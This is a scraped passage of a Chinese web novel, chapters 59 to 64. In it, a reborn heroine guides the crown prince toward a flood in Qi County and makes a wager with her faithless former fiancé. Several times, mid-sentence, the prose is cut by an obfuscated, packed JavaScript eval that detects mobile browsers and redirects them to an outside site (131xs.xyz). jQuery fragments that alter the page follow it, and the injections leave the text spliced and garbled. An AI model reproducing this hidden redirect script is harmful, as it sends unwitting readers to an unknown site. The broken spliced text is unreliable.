所以,裴行渊冲冠一怒为红颜,这出戏,很假。 想到这儿,三皇子直接下令:“先生,日后机密之事,就不要让霍少远知晓了。” “殿下,这是否太过武断……” 东方亮的话还没有说完,就被三皇子抬手制止。 他看了东方亮一眼:“先生,当年本殿下明知你堂兄就在太子手底下做幕僚,却还是选择信任你。但愿,先生不要辜负本殿下的信任。” 听罢,东方亮心里一震,三皇子这是连他也一并怀疑了。 可,出于身为幕僚的责任,东方亮还是说道:“殿下,如果这真的是一出离间计,您因此失去安国公府的助力,是一大损失。尤其是在现在这个关键的时候。” 先前赈灾贪腐一事,虽然最终让底下人出来顶事,三皇子只是落了一个御下不严的罪名,但,此事到底是影响了他的声誉。 眼下这个多事之秋,若是再失去来自于安国公府的助力,对三皇子来说不是一个明智的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474483|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定。 三皇子咬着腮帮子沉思良久,最终下定了决心:“宁可错杀,不可放过。眼下这个时候,信任比怀疑造成的损害更大。” 东方亮一听,就知道已经无力回天。 偏偏这时候,三皇子还看了他一眼:“本殿下与安国公府的捆绑暂时还无法消除,先前让先生娶了那半瘫的婢女,真是委屈先生了。” “能为殿下做事,便不委屈。” 看着东方亮的反应,三皇子很满意。 满意之余,他又提到了阮清辞:“如今这阮清辞日日躲在家里,本殿下硬是连她的半分踪迹都寻不到。若是再这样下去,本殿下如何能再接近她?” “殿下,此事阮丞相已经明确拒绝,怕是不好办。” “所以眼下这个局面,本殿下急需立下一个天大的功劳,也好以此为理由,让父皇赐婚。” 若是皇帝赐婚,阮家如何能回绝? 现在缺的,就是这个机会。 “殿下,卑职这几日夜观天象,发现东南方向黑云成团,怕是不日将有大风雨来袭。有大风雨,就意味着会有大的灾害,殿下可以自请前去京城东南一带巡视,如此一来,也就可以伺机而动。” “先生是魔怔了不成?如今才刚入五月!” 按照往年一贯的规律,七八月才容易有大暴雨。 现在这个时候,多半是少雨的。 更何况,最近天气干旱,户部司农署已经广发告示,让各地积极抗旱,争取不让粮食减产。 东方亮诚恳劝告:“殿下,此事或许有些耸人听闻,可正是因为如此,才不被人注意。况且,殿下可自请前去京城东南一带巡视旱情,再伺机而动。这是一份苦差事,就算是户部的官员都不愿意领这样的差事。如果您主动请求,陛下一定会感念您的功劳,如此就可以消除先前赈灾贪腐一事的影响。” 三皇子有些心动,却又有些犹豫:“此去东南,来回需要一个月的时间。本殿下不在京城,阮家那边或许会生出什么变故。” “殿下,眼下您立功才是最重要的。” “容本殿下想想。” …… 第二日,茗心茶楼的雅间内。 听完洛云舒的话,裴行渊微微皱眉:“为何是去西南一带?” 第59章 犹如弃妇看负心汉 洛云舒并不着急,只问道:“殿下口出此言,是听到了什么风声?” “今日早朝,老三自请去东南一带巡视旱情。据孤府上的东方先生说,他那位堂弟东方亮会观天象,或许,是看出了什么,才给老三出了这么一出高招。” 这一招,的确很高。 巡视旱情是假,借机立功才是真。 如果东南一带真的有了灾情,三皇子就可以占据先机,只要他这次表现好,就能一改先前贪腐的嫌疑,还有可能立下功劳,可以说是一举两得。 “太子殿下可愿信我?” “自然是信的。初次见面,你说自己会占卜,孤当时觉得,那更像是在故意吸引孤的注意。怎么,你还真能未卜先知?” 洛云舒笑着摇头:“并非未卜先知,只是合理推测。” 说着,洛云舒拿出自己准备好的舆图。 “殿下,如您所言,东方亮会观天象,知道京城东南一带或许会有天灾。这个时候的天灾,除了旱就是涝。可目前的旱情并不严重,不值得三皇子跑这一趟,那就只有可能是涝了。但是,殿下,您请看。” 洛云舒把京城东南一带的地势指给裴行渊看。 裴行渊粗略地看了一眼,不解其意。 然而,当他修长的手指沿着山势的走向缓缓移动,最终落在一处时,便豁然开朗。 他有些激动,声调不由自主地拔高:“所以,虽然会有大风雨降临在京城东南一带,但,此地多山,土地也多为山地,不怕涝。可怪就怪在,此地山势东高西低,故而沿着山势形成了一条倒流的河,名为泌水河,形成了泌水倒流的奇观。也正是因为如此,东南方向有大风雨,受灾的,却是西南地区的人民!” 裴行渊自己就分析出这些,洛云舒很意外。 “殿下去过这里?” 如果不是去过,单凭舆图,是分析不出这些的。 “是,孤曾经去过。”说着,裴行渊眸子沉沉,看着洛云舒。 他的眼神已经很明显了。 他曾去过,亲眼所见泌水倒流的奇观,所以他推测出这些。 而洛云舒这么一个大家闺秀,是如何知道这些的? 纵然洛守礼是从地方官调任上来的,但洛守礼任职的地方并不在这一带,所以,洛云舒几乎没可能知道这些。 这时候,洛云舒高深莫测地一笑:“殿下倒不如相信,我真的会占卜之术。” “好,孤信你。只是孤此去西南一带,来回大概需要一个月的时间。你我婚期在六月初八,若是到时候赶不回来,岂不是不美?” “不会,殿下会准时回来。” 的确,洛云舒不会占卜,但是她有前世的记忆。 前世这个时候,她做了鬼,却清晰地记得,这一年五月初十,也就是端午节过后的第五日,京城西南方向的祁县遭了水灾,整个祁县十之**的人都在这场水灾中丧生,庄稼也颗粒无收,引得朝野震动。 当时裴行渊被假死的霍少远所伤,重伤未愈,而三皇子固守京城,谁也不曾参与到救灾之中。 如今她重活一世,有些事也发生了改变。 她想起这件大灾难,就希望裴行渊去。 她相信他的能力。 有他在,祁县的百姓一定可以度过这次危机,转危为安。 “事不宜迟,还请殿下即刻整理行装,出发祁县。” 印象中,祁县百姓是在五月初十那日受的灾,今日是五月初二,祁县距离京城只有百余里,骑马大半日即可到达。 再加上向陛下请示的时间,裴行渊今晚可抵达祁县。 如此一来,留给他的还有八天的时间。 这八天,足够他做很多事了。 裴行渊立刻起身:“孤这就进宫请旨。这段时间孤不在京城,你若遇到难处,可传信给东方先生,他会设法解决。” “好,愿殿下一路顺风,早日归来。” 裴行渊点头,深深地看了洛云舒一眼之后,转身离开。 裴行渊一路入宫,在宫门口和早已等在那里的东方先生汇合。 东方先生心有余悸:“殿下,此举是否太过激进?这不符合您一贯的作风。” 裴行渊做事,一向求稳。 “孤虽同意前往,却希望这件事是假的。” “为何?”东方先生略有不解。 既然愿意去,不应该是相信这件事是真的吗? 裴行渊眸色深沉,缓缓开口:“如果这件事是假的,就意味着祁县百事和顺,不会出现灾害。没有灾害就是最好的。孤宁愿只是去巡视一圈,不会有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而裴行渊才走了两日,**他的奏折就送到了皇帝的桌案上。 第60章 既然你不慌,那我也不慌了 究其原因,是因为裴行渊一到祁县,就强行让当地百姓开始收割庄稼。 问题是,这个时候庄稼还没有成熟,如果这时候收割,产量会大幅度降低。 据户部司农署的官员测算,这时候收割,庄稼的收成至少会减少四成。 整个祁县加起来,这会是一笔很大的损失。 这件事闹到了早朝上,户部司农署的人也闹翻了天。 洛守礼是户部侍郎,这一日,他甚至等不到下值再回府,直接就来到洛云舒的院子里,急声道:“你快些给太子去信,让他即刻收回成命。若是这个时候悬崖勒马,他这个太子之位兴许还能保得住。” 洛云舒不为所动:“父亲,太子殿下做的事情就一定是错的吗?” “不然呢?”洛守礼反问。 这件事的错误是明摆着的,就连三岁的孩子都能够分辨。 “父亲,太子并非鲁莽之人,多年来素有贤名,他突然下了这样的命令,必定是事出有因。如果我没有料错,今日早朝之上,陛下也没有降旨怪罪太子,对吧?” “是。虽然暂时没有怪罪,可以后未必就不怪罪。若是太子一意孤行,这件事的后果不堪设想。” 洛云舒点点头,她明白这后果会有多严重。 裴行渊素有贤名,可如果这次发生的事情最终证明他是错的,那么,他的名声会一落千丈。 世事就是这样。 或许你做了一千件好事,但只要你做了一件坏事,就会毁坏之前做的所有努力。 更何况,庄稼是百姓的命根子,裴行渊对百姓们最在乎的收成不屑一顾,这足以证明他品行堪忧。 一旦给人形成这样的印象,裴行渊这太子的位置就坐不稳了。 更何况,还有一个虎视眈眈的三皇子呢。 而且,裴行渊先前选择和她成婚的时候曾对她透露过,他这样做,是想让陛下觉得他也是有软肋的人。 所以,由此判断,陛下对裴行渊也不是足够信任,甚至是有些忌惮的。 毕竟,裴行渊已经成长起来,但皇帝还没到老迈的地步。 自古以来,做帝王的人疑心都重,他或许会害怕儿子会夺了自己的权。 照这样看来,陛下现在不下旨斥责裴行渊,并不是因为信任他,恰恰是在等他犯更大的错。 犯了更大的错,才好废太子。 所以,现在裴行渊面临着很大的挑战。 但愿,他能够撑住。 现在是五月初四,距离五月初十凌晨时分洪水肆虐,还有五天的时间。 但愿,裴行渊能够撑过这五天。 洛云舒心里有数,故而他丝毫不慌。 洛守礼见她不慌,却更慌了。 在洛守礼走后,洛云舒吩咐寒霜:“告诉东宫的人,这段时间,什么都不必做。低调行事。” 她担心留守东宫的人面临这样的压力,会做出什么来。 现在这个时候,什么都不做是最好的。 洛守礼刚走没多久,海云澜和阮清辞一前一后来了。 海云澜快人快语,立刻道:“云舒,你向来聪慧,能不能告诉我太子殿下这是想做什么。要不是我劝着,我父亲今日就要在早朝上开喷了。” “是啊,云舒。”阮清辞也忧心忡忡,“从昨日到现在,我家里不断有人来,都是向我父亲反映此事的。云舒,太子殿下如何倒是其次,我是担心你。” 如果这一次裴行渊出了什么问题,关于洛云舒克夫的传言又会出现。 她不希望洛云舒的婚事再出现什么问题。 洛云舒请她们坐下,亲自给她们斟茶:“我知道你们是担心我,不过,太子殿下要做的事情,我也插不上手。” 女子不干涉政事,她不能给人留下这样的印象。 她必须隐藏锋芒。 海云澜万分不解:“太子做事一向很有章法,这一次也不知是怎么了,真是让人着急。” 阮清辞则狐疑地看了洛云舒一眼:“你为什么不慌?” “这件事不是我能左右的,我慌了又能如何?” 阮清辞突然就放心了,身子向后靠在椅背上,换了个更舒服的姿势,拿了块点心丢在嘴里:“既然你不慌,那我也不慌了。” 根据她一贯的经验,她觉得洛云舒一定有应对的法子。 不然,这会儿该慌的人是洛云舒才对。 太子不是个蠢人。 洛云舒更不是。 所以阮清辞果断选择——该吃吃,该喝喝。 海云澜却是急坏了:“你、你们怎么都不着急?合着就我一个人着急?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时之间,洛云舒有点摸不清楚大长公主的意思。 第61章 我真正在意的人,是你 之前,大长公主有意撮合洛云舒和萧祈安,被洛云舒回绝。 后来洛云舒接了赐婚的圣旨,就没再和大长公主见过面。 所以,洛云舒有些想不清楚,大长公主这时候找她做什么。 胡思乱想不是洛云舒的风格。 接到帖子,洛云舒直接让知意告诉来人,她稍后就去拜访大长公主。 梳洗一番后,洛云舒换了一身浅蓝色的织锦长裙,头上梳着圆心髻,发间簪了两枚金簪,前往大长公主府。 洛云舒在大长公主府的花厅等了没多久,大长公主就来了,身边只带着一个贴身丫鬟。 “臣女见过长公主殿下。” “下个月你便要与行渊成婚,如今随行渊一起,叫本宫一声皇姑姑也就是了。” 洛云舒抬头,见大长公主满脸笑意,并无半分勉强。 她回之一笑,从善如流,顺从道:“是,皇姑姑。” 大长公主脸上的笑容愈发浓郁:“本宫今日让你过来,让你心里忐忑了,是吧?” “有一点。” 大长公主笑着摇头:“放心,本宫不是那种小肚鸡肠的人。今个儿请你过来,一来是想为你撑腰,二来是想问问你,行渊那边,究竟是个什么打算。” “殿下的事,我所知不多。只是听闻是殿下身边的那位东方先生夜观天象,得知几日后东南方向会有大暴雨。故而殿下思虑一番后,选择前往祁县。” “东南方向有暴雨,行渊却是前往西南方向的祁县,是因为那条倒流河?” “是。” “原来如此。”大长公主莞尔,又有点意外,“东方美还有这本事?” 说完,大长公主自顾自地笑了:“这名字你可千万别当着他的面说。他这个人最忌讳别人叫他的本名,觉得太像女人,有损他聪明睿智的形象。” 洛云舒没忍住,也笑了。 的确,一个男人叫东方美,的确是有些奇怪。 奇怪归奇怪,但并不难听。 更何况,美并非只有美丽的含义,还有美好、美德之意。 想必东方先生的长辈给他取名的时候,是希望他成为一个拥有良好品行的人。 中午,大长公主留洛云舒吃了饭,这才让她离开。 洛云舒的马车出了大长公主府没多久,就被人拦下了。 “云舒姐姐,我是玉瑶啊。” 是孙玉瑶。 洛云舒掀开车帘瞥了一眼,看到孙玉瑶站在马车正前方,容颜看起来有些憔悴,却还是强打精神。 看到她,孙玉瑶上前几步,满眼都是期待:“云舒姐姐,我想跟你说句话,可以吗?” “说。” “云舒姐姐,这里不方便,去那边的茶楼,可以吗?”说着,孙玉瑶小心翼翼地朝着旁边的茶楼看了一眼。 那眼神,似乎有些忌惮。 看着那没关严的窗户,洛云舒唇角微扬,扶了扶发间裴行渊送的那枚簪子,点了点头:“好。” 进了茶楼二楼的雅间,毫不意外,霍少远也在。 洛云舒侧身,看了孙玉瑶一眼:“费尽心机让我来见你的情郎,心情如何?” 顷刻间,孙玉瑶脸上的恨意几乎无法隐藏,却又在看到霍少远之后立刻低下头去,揪着自己的衣角,拼命掩饰着什么。 洛云舒心底轻笑。 不是爱得死去活来吗? 他们之间的爱,竟然是这个样子的? “云舒,你也知道,孙玉瑶对我只有欺骗。我真正在意的人,是你。” 洛云舒笑着看了他一眼:“霍少将军,我早就说过,既然你的爱是跟着那只手镯变的,你倒不如爽利些,直接娶了那镯子!” “云舒,我知道你这些都是气话,不当真的。你恨我曾经动摇过,这些是我的错。你放心,以后我会珍惜你的。” “用不着。我是太子准妃,你说这样的话,是僭越。” “不见得。太子眼下出了这样的昏招儿,你不会觉得他这太子之位还能坐得稳吧?” “为何坐不稳?”洛云舒反问,一副懵懂无知的模样。 她在套霍少远的话。 霍少远笑了:“到底是内宅妇人,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492996|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知朝堂中的事是如何的波诡云谲。东方亮夜观天象,已经发现东南一带会有大风雨,三殿下已经前往东南一带,号召百姓提前收割庄稼。可太子居然在祁县做了同样的事情,完全是东施效颦。东方亮测算的很清楚,只有东南一带会出现大风雨。太子在祁县做这样的事情,完全是背道而驰!” 的确,这两件事已经在京城传开了。 且,是以太子的鲁莽衬托三皇子的睿智英明。 而且,三皇子只是号召东南一带的百姓收割庄稼,并不强制,他表现得很亲民,不强制他们做什么,只尽力说服。 也因此,收获了不少的好感。 这样的事情传到京城,使得不少人都以为,裴行渊之前的贤名完全是假装的,只有三皇子才是真正的贤者。 经此一事,原先不显山不露水的三皇子,声望竟然水涨船高,远远高过裴行渊的贤名。 这事儿,洛云舒也是知道的。 但是,她并不着急。 不过现在,她打算扎一下霍少远的心。 她故作惊讶:“三殿下居然去做这么重要的事?” “自然。待三殿下回京,这京中的形势定然会发生逆转。” 在霍少远看来,三皇子或许会代替裴行渊,做下一任太子。 洛云舒皱了皱眉:“霍少远,你自诩是三殿下的心腹,眼下他去做这么重要的事情却不带你,啧啧,我真不知道你有什么好高兴的。” 霍少远猛然变了脸色:“你知道什么?我不离京,自然有我不离京的道理。” “你不离京的道理就是与我在这里扯东扯西?堂堂七尺男儿,净做些嚼舌头的事情,不觉得可笑吗?” “洛云舒,你休想激怒我。我不会上当的。你是我的救命恩人,我对你很有耐心。你说什么我都不会生气,只愿你能知晓我的心意,不要对我冷言冷语。我今日来也是想为了让你安心,太子出事后,我娶你。” 待霍少远话音落下,孙玉瑶猛地抬头,看过来。 而洛云舒朱唇轻启,微笑着看过去:“霍少远,你我打个赌,如何?” 第62章 洛云舒的心里还是有他的 霍少远皱眉:“好端端的,打什么赌?” “我赌太子殿下再回京城之时,会荣耀加身。” “你一定会输的。”霍少远笃定道。 “若我输,我会主动求陛下解除赐婚。” 霍少远停顿片刻,定定地看着洛云舒。 即便太子不再有新的功劳,也依旧是太子,瘦死的骆驼比马大,洛云舒在这个时候说解除赐婚,霍少远是没想到的。 转瞬,他却是热血沸腾。 他看着洛云舒,笑容渐渐在唇角弥漫。 他就知道。 洛云舒的心里还是有他的。 当初和太子的赐婚只是迫于皇家的威力,说到底,他才是她心底深处的人。 不然,她何必打这样的赌? 毕竟,她一定会输。 “好,这个赌,我应下了。”霍少远很爽快。 洛云舒立刻道:“若我赢……” 说着,她的视线落在神色颓败的孙玉瑶身上,重复先前的话:“若我赢,那你、八抬大轿,娶孙玉瑶进门。” 听闻此言,孙玉瑶猛地看向洛云舒,似乎不相信洛云舒会为她谋取好处。 洛云舒但笑不语。 与其等着霍少远和其他府邸强强联合,倒不如,逼他娶孙玉瑶。 一个毫无远见的当家主母会给整个家族带来多大的麻烦,这是可以预见的。 毕竟,他们洛府就是最好的证明。 她真不敢想,若是见识短浅的孙玉瑶做了霍少远的正室夫人,未来的侯府主母,这未来的安国公府,会有多热闹。 这可真是太令人期待了。 “你不会赢。说这些毫无意义。” 洛云舒摇摇头:“到底是打赌,既然我给出了筹码,还请霍少将军付出同等的代价。毕竟,若是太子输了,我顶着陛下的压力解除赐婚,需要很大的勇气。” “可眼下的局面,太子必输无疑。” “万一呢?凡事总有万一。” 霍少远瞥了洛云舒一眼:“即便是有那个万一,我也用不着娶孙玉瑶。她家世低微不说,更何况,如今我与她并无半分情分。” “少远哥哥,你……”说着,孙玉瑶掩面痛哭。 她怎么也不想相信,曾经抱着她说着天长地久的男人,现在居然会说出这么冰冷的话。 他说,与她并无半分情分。 当真如此么? 从前的甜言蜜语,难道都是他信口胡说不成? 可现如今,哪怕霍少远就站在她面前,她还是说不出半分质问的话。 她身份如此,即便说出最凶狠的话,也不过是蚍蜉撼树而已,对霍少远造不成任何伤害。 直到这一刻她才明白,原来,在这段感情里,她是如此的被动。 她纵然贪慕他的身份,可对他,也是倾注了一些感情的。 可眼前发生的一切,彻底打碎了她的幻想。 此刻,霍少远甚至都不看她,他只看着洛云舒,满目期盼,等着洛云舒收回先前所说的话。 而洛云舒依旧摇头:“霍少将军,说起来也是我吃亏。我若输了,需在面前陛下,求他解除婚约,这是要冒着生命危险的。而你娶孙玉瑶为正妻,并没有性命之忧。” 霍少远深深皱眉:“原本就是不可能发生的事情,你为何执着于此?” 听完,洛云舒兴致缺缺:“既然你不愿意给出相应的筹码,那我先前所说的话,收回。” 说罢,洛云舒起身就要走。 霍少远想拦,却又在看到寒霜之后停下脚步,只觉得先前被寒霜打到的地方还隐隐作痛。 就在洛云舒即将迈步出门的时候,霍少远急声道:“我同意!” “那好,君子一诺,驷马难追。” “自然!”霍少远扬声道。 洛云舒笑笑,亲手打开门,看到从外面“路过”的阮清辞和阮俊杰,她“有些意外”:“你们怎么也在?” 阮俊杰扬了扬手中的折扇,笑得格外灿烂:“说也巧了,带着小妹出来买首饰,累了在此歇脚,倒是听到了二位的赌约。不怪这茶楼不隔音,实在是这边的窗户没关严。” 说着,阮俊杰往里面看了看。 洛云舒笑笑:“不妨事,原本就是光明正大的赌约。阮大公子既然听到了,刚好可以做个见证。” 那窗户没关严,是霍少远先前要查看孙玉瑶能不能把她带上来,现如今,倒是间接成了她的事。 没错。 洛云舒自打看见孙玉瑶,就猜出她要搞事情,所以,洛云舒派人去给阮清辞送信。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492997|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这不,刚刚好。 霍少远并不怯场,依次朝着阮俊杰和阮清辞见礼:“阮大公子、阮大小姐,有礼了。” “霍少将军客气了。”阮俊杰轻摇折扇,笑着还礼。 见状,霍少远也笑了。 落在洛云舒身上的眼神愈发温和。 这个小女子,说到底还是在为他考虑。 居然还特地请来阮家兄妹,是想让他知道她如今和阮家交好,好抬高她的身价,也真是用心良苦。 说实在的,就算是没有阮家,他对她,也不似往日了。 当然,有了阮家这层助力会更好。 三殿下一直想求娶阮家嫡女,却屡次都不能如愿,可若是走洛云舒的路子,却是极有可能的。 想想看,三殿下自己没能做成的事情,偏偏让他给做成了,到时候他在三殿下面前的地位,也就可以跟着有所提升。 洛云舒,是有点福气在身上的。 如此想着,霍少远愈发觉得自己今日和洛云舒的会面是对的。 因此,哪怕洛云舒一行人已经走出很远,他的眼神还是牢牢地黏在洛云舒身上。 …… 阮清辞靠近洛云舒,低语道:“曾和后面这蠢货订婚,真是你此生唯一的污点。” 洛云舒笑得坏极了:“真期待他和孙玉瑶成婚啊!到时候若是得空儿,定要去喝杯喜酒。” “别啊,到时候你都是太子妃了,去他安国公府喝酒,是给他脸。到时候让我哥去,我也可以穿男装去,真想知道霍少远那天是个什么脸色,总不会是绿的吧,哈哈哈……” 阮清辞笑得太豪放,吓得后面的阮俊杰急忙压低了声音提醒:“小妹,注意形象。” 在外,阮家嫡女温婉如玉的形象,不能丢。 阮清辞很快回过头来,一本正经:“大哥,是云舒在笑,不是我。” 洛云舒笑意温和:“没错,刚才是我笑的。” 阮清辞没忍住,又是一阵哈哈哈。 阮俊杰拿扇子挡住脸,只觉得没眼看。 洛云舒忍俊不禁,只觉得阮清辞肆意笑着的样子,很美。 却不期然的,听到隔壁的茶楼上传来一声轻佻的戏谑声:“哟哟哟,这不是阮家大小姐吗?怎么笑得这般不成体统?” 第63章 他一乱,你的机会不就来了? 洛云舒举目望去,看到一个身穿藏青色圆领锦袍的男子站在窗前,大半个身子向外,手肘搁在窗台上,正好整以暇地瞧着阮清辞。 他长着一张圆脸,笑容恣意,即便是这漫天的阳光,都不及他眼底的璀璨。 洛云舒认得他,是大齐唯一的异姓王肃王之子——顾彦昭。 肃王为人端方,人如其封号,懂规矩,严守礼节,是个再严肃不过的人。 偏偏他这独子顾彦昭为人浪荡,与肃王是个极端。 只不过,听闻开春之后,顾彦昭就随着肃王爷巡边去了,眼下没听说肃王爷回来,他自己倒是先回京了。 原先,倒是没听说顾彦昭和阮清辞有什么牵扯。 思虑间,洛云舒转脸再看,阮清辞已经是咬牙切齿。 她从牙缝里挤出几个字:“云舒,能不能想个法子,把他给毒哑了?” 洛云舒认真思考:“有,哑药好弄。难的是下手的机会,须得好好谋划。你准备什么时候动手?” 阮清辞吓了一跳,连连摇手:“啊?你来真的?我就是随口一说,他好歹也是有战功在身的人,把他毒哑了,他以后就没法子发号施令了。啊啊啊,但是我好气啊!” 好气,但是又不能把对方怎么样。 这么一想,更气了。 阮清辞低声诅咒:“菩萨保佑,让顾彦昭以后出门先摔三个跟头,啊不,摔八个跟头……” 阮清辞话还没说完,就听身后传来“哎呦”一声。 洛云舒和阮清辞同时回头去看,就见顾彦昭堪堪起身,正龇牙咧嘴地拍着身上的土。 还……真就摔了? 洛云舒朝着茶楼二楼看了看,好家伙,几乎两人高的距离,就这么水灵灵地跳下来了? 顷刻间,阮清辞已经开始数落他:“顾彦昭,人家这茶楼是没有楼梯吗?你好好的楼梯不走,非要直接跳下来,怎么不摔死你呢?” 这时候,顾彦昭已经站直身子,他单手叉腰,唇角高高扬起,笑容比刚才还要灿烂,神气得很:“哎呀,没办法,我这人别的优点没有,就是福大命大。哼,气死你!” “顾彦昭,你这人好讨厌!” “阮兄,她又骂我!”一转脸,顾彦昭就跟阮俊杰告状,又哥俩好地揽住他的肩膀,一副求阮俊杰做主的架势。 阮俊杰连连摆手,叫苦不迭:“别,你与舍妹的争执,我不参与。” 到底是在大街上,不好吵的太凶。 阮清辞恶狠狠地瞪了顾彦昭一眼,挽着洛云舒的胳膊就往马车上走。 即便是到了马车上,她仍是怒气难平:“啊啊啊,云舒,我真是要被他气死了!你不知道,这个顾彦昭讨厌死了!从小到大,但凡是我出门参加宴会,就跟见了鬼似的,几乎每次都遇上他。他小时候就爱拿小虫子啊小蚯蚓啊什么 的吓唬我,偏偏我出去参加宴会的时候又得保持端庄,每回都是他害得我差点失态,讨厌死他了!” 原先,洛云舒和阮清辞的社交圈并非完全吻合,所以这些事,洛云舒并不知晓。 听完,她笑了笑:“听你这么一说,我倒是有个法子能治他。” “什么法子?”阮清辞顿时来了兴致,一副洗耳恭听的模样。 “这法子有点损。” “没事,损就损。对付这种损人,就得用损招儿。” “这样啊。等你下次再见他,若是他再调侃你,你就走近了,悄悄问他是不是喜欢你。” “啊?”阮清辞懵了,“这算是什么法子?” “书上说,小男孩年少时,总会用些奇奇怪怪的方法吸引小女孩的注意。所以,他小时候那些恶作剧,多半是在吸引你的注意。” 一时之间,阮清辞一头雾水:“照你这么说,顾彦昭喜欢我?” “不。”洛云舒摇头,“男人的喜欢不能猜,得他明明白白地告诉你,或者,用他所做的事情实实在在地打动你。我让你这么说,只是为了暂时让他闭嘴。他若喜欢你,就会陷入被你发现心事的恐慌之中。他若不喜欢你,就会拼命想法子证明他不喜欢,这样,他会手忙脚乱。他一乱,你的机会不就来了?” “这样啊,那我就放心了。”阮清辞乐了,“他才不喜欢我,他喜欢他那个义妹。他那个义妹是他一个副将的妹妹,他那副将为了救他死了,他就把副将的妹妹养在府里,算是报答他那副将……” 阮清辞絮絮叨叨,又说了好多。 洛云舒只觉得亲切。 要分开的时候,阮清辞才后知后觉地一拍脑门儿:“哎呀,本想着宽慰你几句呢。净让你给我出谋划策了。” “为太子殿下的事儿?放心,不必宽慰我,静观其变就好。兴许再过几日,事情就明朗了。” “真的可以吗?”阮清辞压低了声音说道,“我昨天在书房偷听我父亲说话,他跟手底下的人分析,说陛下迟迟没有采取行动,是对太子殿下有所忌惮,想借着这次的事情废太子。” “放心,太子不会被废。” 就算是贵为皇帝,想要废一个立下大功的太子,也是有很大的难度的。 更何况,太子既是嫡子又是长子,又声名在外,这样一位完美的太子,很难被废掉。 要不然,皇帝也不必这么费尽心机地找机会了。 只不过,只怕就连皇帝自己都想不到,如果不是因为他的忌惮,裴行渊这次不会这么顺利。 毕竟,如果皇帝为裴行渊着想,就会在这时候把他紧急召回,可这样一来,裴行渊后面的事情就无法进行了。 现在这样,刚刚好。 只是这其中的弯弯绕,没办法跟阮清辞说明白。 阮清辞很聪明,见洛云舒成竹在胸,她就什么都不问了。 与阮清辞分别后,洛云舒回府。 却在府门口,看到了孙玉瑶。 她没进去,就那么站在府门口的石狮子旁,显得心事重重的。 见洛云舒回来,她疾步走过来,一开口就问道:“你打赌让霍少远娶我,存的是什么心思?” 第64章 太子看重你,是你的福气 洛云舒唇角微挑:“怎么,不一口一个少远哥哥了?还有,你少远哥哥知道你私底下这么强势吗?” 越有野心的人,越会装柔弱。 “他现在不在意我了,你满意了?” “是,我很满意。”洛云舒气定神闲。 孙玉瑶神色癫狂,控诉道:“洛云舒,你凭什么!凭什么你什么都有! 洛云舒一把抓住孙玉瑶的领子,把她拽到跟前来。 她看着孙玉瑶,冷声开口:“就凭我十二岁就敢跟着商队出去做生意,就算摔断了腿也在所不惜。换做是你,你敢吗?孙玉瑶,要想人前显贵,就得人后受罪。” 孙玉瑶从来都不知道这些。 她看着洛云舒,似乎是有些不敢相信。 但是,她心里清楚,洛云舒没必要拿这些事骗她。 她瞪着眼睛看了洛云舒好久,直到洛云舒松开她的衣领,她还有些缓不过神来:“你立赌约的时候,为何说让霍少远娶我?” “如果他一定要娶妻,我希望那个人是你。” “为什么?”孙玉瑶不解。 她觉得,洛云舒该恨她才对。 曾经,洛云舒有多喜欢霍少远,她再清楚不过。 是她从中作梗,拆散了他们。 她不觉得洛云舒会帮她。 “我曾做过一个梦。梦里,你嫁给了霍少远,一生和美。” 孙玉瑶不相信:“就因为一个梦?” “对,就因为一个梦。”洛云舒并不多做解释。 对她来说,那不是梦,是上一世所亲历的惨烈事实。 上一世,她做鬼的时候,先是看到霍少远另娶他人,后来,在三皇子登基为帝之后,霍少远害死发妻,迎孙玉瑶为正妻。 霍少远和孙玉瑶,终究是做了夫妻。 既然如此,这一世,也锁死。 更深的考量,洛云舒不会告诉孙玉瑶。 “你不会害我吧?”孙玉瑶又问。 “怕我害你,那你就离霍少远远一点。” “不!”孙玉瑶直接拒绝。 这个一步登天的机会,她不会放过。 不知是怕洛云舒继续说什么还是怎样,孙玉瑶逃一般地走了。 